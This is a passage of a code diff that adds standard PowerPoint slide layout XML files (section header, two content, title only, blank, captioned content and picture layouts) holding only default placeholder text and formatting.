smtClean="0"/><a:t>Fifth level</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="4" name="Date Placeholder 3"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="dt" sz="half" idx="10"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>11/12/2014</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="Footer Placeholder 4"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ftr" sz="quarter" idx="11"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="6" name="Slide Number Placeholder 5"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="sldNum" sz="quarter" idx="12"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>#</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr></p:sldLayout>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="secHead" preserve="1"><p:cSld name="Section Header"><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id="2" name="Title 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="title"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="722313" y="4406900"/><a:ext cx="7772400" cy="1362075"/></a:xfrm></p:spPr><p:txBody><a:bodyPr anchor="t"/><a:lstStyle><a:lvl1pPr algn="l"><a:defRPr sz="4000" b="1" cap="all"/></a:lvl1pPr></a:lstStyle><a:p><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master title style</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="3" name="Text Placeholder 2"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="body" idx="1"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="722313" y="2906713"/><a:ext cx="7772400" cy="1500187"/></a:xfrm></p:spPr><p:txBody><a:bodyPr anchor="b"/><a:lstStyle><a:lvl1pPr marL="0" indent="0"><a:buNone/><a:defRPr sz="2000"><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl1pPr><a:lvl2pPr marL="457200" indent="0"><a:buNone/><a:defRPr sz="1800"><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl2pPr><a:lvl3pPr marL="914400" indent="0"><a:buNone/><a:defRPr sz="1600"><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl3pPr><a:lvl4pPr marL="1371600" indent="0"><a:buNone/><a:defRPr sz="1400"><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl4pPr><a:lvl5pPr marL="1828800" indent="0"><a:buNone/><a:defRPr sz="1400"><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl5pPr><a:lvl6pPr marL="2286000" indent="0"><a:buNone/><a:defRPr sz="1400"><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl6pPr><a:lvl7pPr marL="2743200" indent="0"><a:buNone/><a:defRPr sz="1400"><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl7pPr><a:lvl8pPr marL="3200400" indent="0"><a:buNone/><a:defRPr sz="1400"><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl8pPr><a:lvl9pPr marL="3657600" indent="0"><a:buNone/><a:defRPr sz="1400"><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl9pPr></a:lstStyle><a:p><a:pPr lvl="0"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master text styles</a:t></a:r></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="4" name="Date Placeholder 3"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="dt" sz="half" idx="10"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>11/12/2014</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="Footer Placeholder 4"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ftr" sz="quarter" idx="11"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="6" name="Slide Number Placeholder 5"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="sldNum" sz="quarter" idx="12"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>#</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr></p:sldLayout>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="twoObj" preserve="1"><p:cSld name="Two Content"><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id="2" name="Title 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="title"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master title style</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="3" name="Content Placeholder 2"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph sz="half" idx="1"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="457200" y="1600200"/><a:ext cx="4038600" cy="4525963"/></a:xfrm></p:spPr><p:txBody><a:bodyPr/><a:lstStyle><a:lvl1pPr><a:defRPr sz="2800"/></a:lvl1pPr><a:lvl2pPr><a:defRPr sz="2400"/></a:lvl2pPr><a:lvl3pPr><a:defRPr sz="2000"/></a:lvl3pPr><a:lvl4pPr><a:defRPr sz="1800"/></a:lvl4pPr><a:lvl5pPr><a:defRPr sz="1800"/></a:lvl5pPr><a:lvl6pPr><a:defRPr sz="1800"/></a:lvl6pPr><a:lvl7pPr><a:defRPr sz="1800"/></a:lvl7pPr><a:lvl8pPr><a:defRPr sz="1800"/></a:lvl8pPr><a:lvl9pPr><a:defRPr sz="1800"/></a:lvl9pPr></a:lstStyle><a:p><a:pPr lvl="0"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master text styles</a:t></a:r></a:p><a:p><a:pPr lvl="1"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Second level</a:t></a:r></a:p><a:p><a:pPr lvl="2"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Third level</a:t></a:r></a:p><a:p><a:pPr lvl="3"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fourth level</a:t></a:r></a:p><a:p><a:pPr lvl="4"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fifth level</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="4" name="Content Placeholder 3"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph sz="half" idx="2"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="4648200" y="1600200"/><a:ext cx="4038600" cy="4525963"/></a:xfrm></p:spPr><p:txBody><a:bodyPr/><a:lstStyle><a:lvl1pPr><a:defRPr sz="2800"/></a:lvl1pPr><a:lvl2pPr><a:defRPr sz="2400"/></a:lvl2pPr><a:lvl3pPr><a:defRPr sz="2000"/></a:lvl3pPr><a:lvl4pPr><a:defRPr sz="1800"/></a:lvl4pPr><a:lvl5pPr><a:defRPr sz="1800"/></a:lvl5pPr><a:lvl6pPr><a:defRPr sz="1800"/></a:lvl6pPr><a:lvl7pPr><a:defRPr sz="1800"/></a:lvl7pPr><a:lvl8pPr><a:defRPr sz="1800"/></a:lvl8pPr><a:lvl9pPr><a:defRPr sz="1800"/></a:lvl9pPr></a:lstStyle><a:p><a:pPr lvl="0"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master text styles</a:t></a:r></a:p><a:p><a:pPr lvl="1"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Second level</a:t></a:r></a:p><a:p><a:pPr lvl="2"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Third level</a:t></a:r></a:p><a:p><a:pPr lvl="3"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fourth level</a:t></a:r></a:p><a:p><a:pPr lvl="4"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fifth level</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="Date Placeholder 4"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="dt" sz="half" idx="10"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>11/12/2014</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="6" name="Footer Placeholder 5"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ftr" sz="quarter" idx="11"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="7" name="Slide Number Placeholder 6"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="sldNum" sz="quarter" idx="12"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>#</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr></p:sldLayout>
File diff suppressed because one or more lines are too long
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="titleOnly" preserve="1"><p:cSld name="Title Only"><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id="2" name="Title 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="title"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master title style</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="3" name="Date Placeholder 2"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="dt" sz="half" idx="10"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>11/12/2014</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="4" name="Footer Placeholder 3"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ftr" sz="quarter" idx="11"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="Slide Number Placeholder 4"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="sldNum" sz="quarter" idx="12"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>#</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr></p:sldLayout>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="blank" preserve="1"><p:cSld name="Blank"><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id="2" name="Date Placeholder 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="dt" sz="half" idx="10"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>11/12/2014</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="3" name="Footer Placeholder 2"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ftr" sz="quarter" idx="11"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="4" name="Slide Number Placeholder 3"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="sldNum" sz="quarter" idx="12"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>#</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr></p:sldLayout>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="objTx" preserve="1"><p:cSld name="Content with Caption"><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id="2" name="Title 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="title"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="457200" y="273050"/><a:ext cx="3008313" cy="1162050"/></a:xfrm></p:spPr><p:txBody><a:bodyPr anchor="b"/><a:lstStyle><a:lvl1pPr algn="l"><a:defRPr sz="2000" b="1"/></a:lvl1pPr></a:lstStyle><a:p><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master title style</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="3" name="Content Placeholder 2"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph idx="1"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="3575050" y="273050"/><a:ext cx="5111750" cy="5853113"/></a:xfrm></p:spPr><p:txBody><a:bodyPr/><a:lstStyle><a:lvl1pPr><a:defRPr sz="3200"/></a:lvl1pPr><a:lvl2pPr><a:defRPr sz="2800"/></a:lvl2pPr><a:lvl3pPr><a:defRPr sz="2400"/></a:lvl3pPr><a:lvl4pPr><a:defRPr sz="2000"/></a:lvl4pPr><a:lvl5pPr><a:defRPr sz="2000"/></a:lvl5pPr><a:lvl6pPr><a:defRPr sz="2000"/></a:lvl6pPr><a:lvl7pPr><a:defRPr sz="2000"/></a:lvl7pPr><a:lvl8pPr><a:defRPr sz="2000"/></a:lvl8pPr><a:lvl9pPr><a:defRPr sz="2000"/></a:lvl9pPr></a:lstStyle><a:p><a:pPr lvl="0"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master text styles</a:t></a:r></a:p><a:p><a:pPr lvl="1"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Second level</a:t></a:r></a:p><a:p><a:pPr lvl="2"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Third level</a:t></a:r></a:p><a:p><a:pPr lvl="3"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fourth level</a:t></a:r></a:p><a:p><a:pPr lvl="4"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fifth level</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="4" name="Text Placeholder 3"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="body" sz="half" idx="2"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="457200" y="1435100"/><a:ext cx="3008313" cy="4691063"/></a:xfrm></p:spPr><p:txBody><a:bodyPr/><a:lstStyle><a:lvl1pPr marL="0" indent="0"><a:buNone/><a:defRPr sz="1400"/></a:lvl1pPr><a:lvl2pPr marL="457200" indent="0"><a:buNone/><a:defRPr sz="1200"/></a:lvl2pPr><a:lvl3pPr marL="914400" indent="0"><a:buNone/><a:defRPr sz="1000"/></a:lvl3pPr><a:lvl4pPr marL="1371600" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl4pPr><a:lvl5pPr marL="1828800" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl5pPr><a:lvl6pPr marL="2286000" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl6pPr><a:lvl7pPr marL="2743200" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl7pPr><a:lvl8pPr marL="3200400" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl8pPr><a:lvl9pPr marL="3657600" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl9pPr></a:lstStyle><a:p><a:pPr lvl="0"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master text styles</a:t></a:r></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="Date Placeholder 4"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="dt" sz="half" idx="10"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>11/12/2014</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="6" name="Footer Placeholder 5"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ftr" sz="quarter" idx="11"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="7" name="Slide Number Placeholder 6"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="sldNum" sz="quarter" idx="12"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>#</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr></p:sldLayout>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="picTx" preserve="1"><p:cSld name="Picture with Caption"><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id="2" name="Title 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="title"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="1792288" y="4800600"/><a:ext cx="5486400" cy="566738"/></a:xfrm></p:spPr><p:txBody><a:bodyPr anchor="b"/><a:lstStyle><a:lvl1pPr algn="l"><a:defRPr sz="2000" b="1"/></a:lvl1pPr></a:lstStyle><a:p><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master title style</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="3" name="Picture Placeholder 2"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="pic" idx="1"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="1792288" y="612775"/><a:ext cx="5486400" cy="4114800"/></a:xfrm></p:spPr><p:txBody><a:bodyPr/><a:lstStyle><a:lvl1pPr marL="0" indent="0"><a:buNone/><a:defRPr sz="3200"/></a:lvl1pPr><a:lvl2pPr marL="457200" indent="0"><a:buNone/><a:defRPr sz="2800"/></a:lvl2pPr><a:lvl3pPr marL="914400" indent="0"><a:buNone/><a:defRPr sz="2400"/></a:lvl3pPr><a:lvl4pPr marL="1371600" indent="0"><a:buNone/><a:defRPr sz="2000"/></a:lvl4pPr><a:lvl5pPr marL="1828800" indent="0"><a:buNone/><a:defRPr sz="2000"/></a:lvl5pPr><a:lvl6pPr marL="2286000" indent="0"><a:buNone/><a:defRPr sz="2000"/></a:lvl6pPr><a:lvl7pPr marL="2743200" indent="0"><a:buNone/><a:defRPr sz="2000"/></a:lvl7pPr><a:lvl8pPr marL="3200400" indent="0"><a:buNone/><a:defRPr sz="2000"/></a:lvl8pPr><a:lvl9pPr marL="3657600" indent="0"><a:buNone/><a:defRPr sz="2000"/></a:lvl9pPr></a:lstStyle><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="4" name="Text Placeholder 3"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="body" sz="half" idx="2"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="1792288" y="5367338"/><a:ext cx="5486400" cy="804862"/></a:xfrm></p:spPr><p:txBody><a:bodyPr/><a:lstStyle><a:lvl1pPr marL="0" indent="0"><a:buNone/><a:defRPr sz="1400"/></a:lvl1pPr><a:lvl2pPr marL="457200" indent="0"><a:buNone/><a:defRPr sz="1200"/></a:lvl2pPr><a:lvl3pPr marL="914400" indent="0"><a:buNone/><a:defRPr sz="1000"/></a:lvl3pPr><a:lvl4pPr marL="1371600" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl4pPr><a:lvl5pPr marL="1828800" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl5pPr><a:lvl6pPr marL="2286000" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl6pPr><a:lvl7pPr marL="2743200" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl7pPr><a:lvl8pPr marL="3200400" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl8pPr><a:lvl9pPr marL="3657600" indent="0"><a:buNone/><a:defRPr sz="900"/></a:lvl9pPr></a:lstStyle><a:p><a:pPr lvl="0"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master text styles</a:t></a:r></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="Date Placeholder 4"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="dt" sz="half" idx="10"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>11/12/2014</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="6" name="Footer Placeholder 5"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ftr" sz="quarter" idx="11"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="7" name="Slide Number Placeholder 6"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="sldNum" sz="quarter" 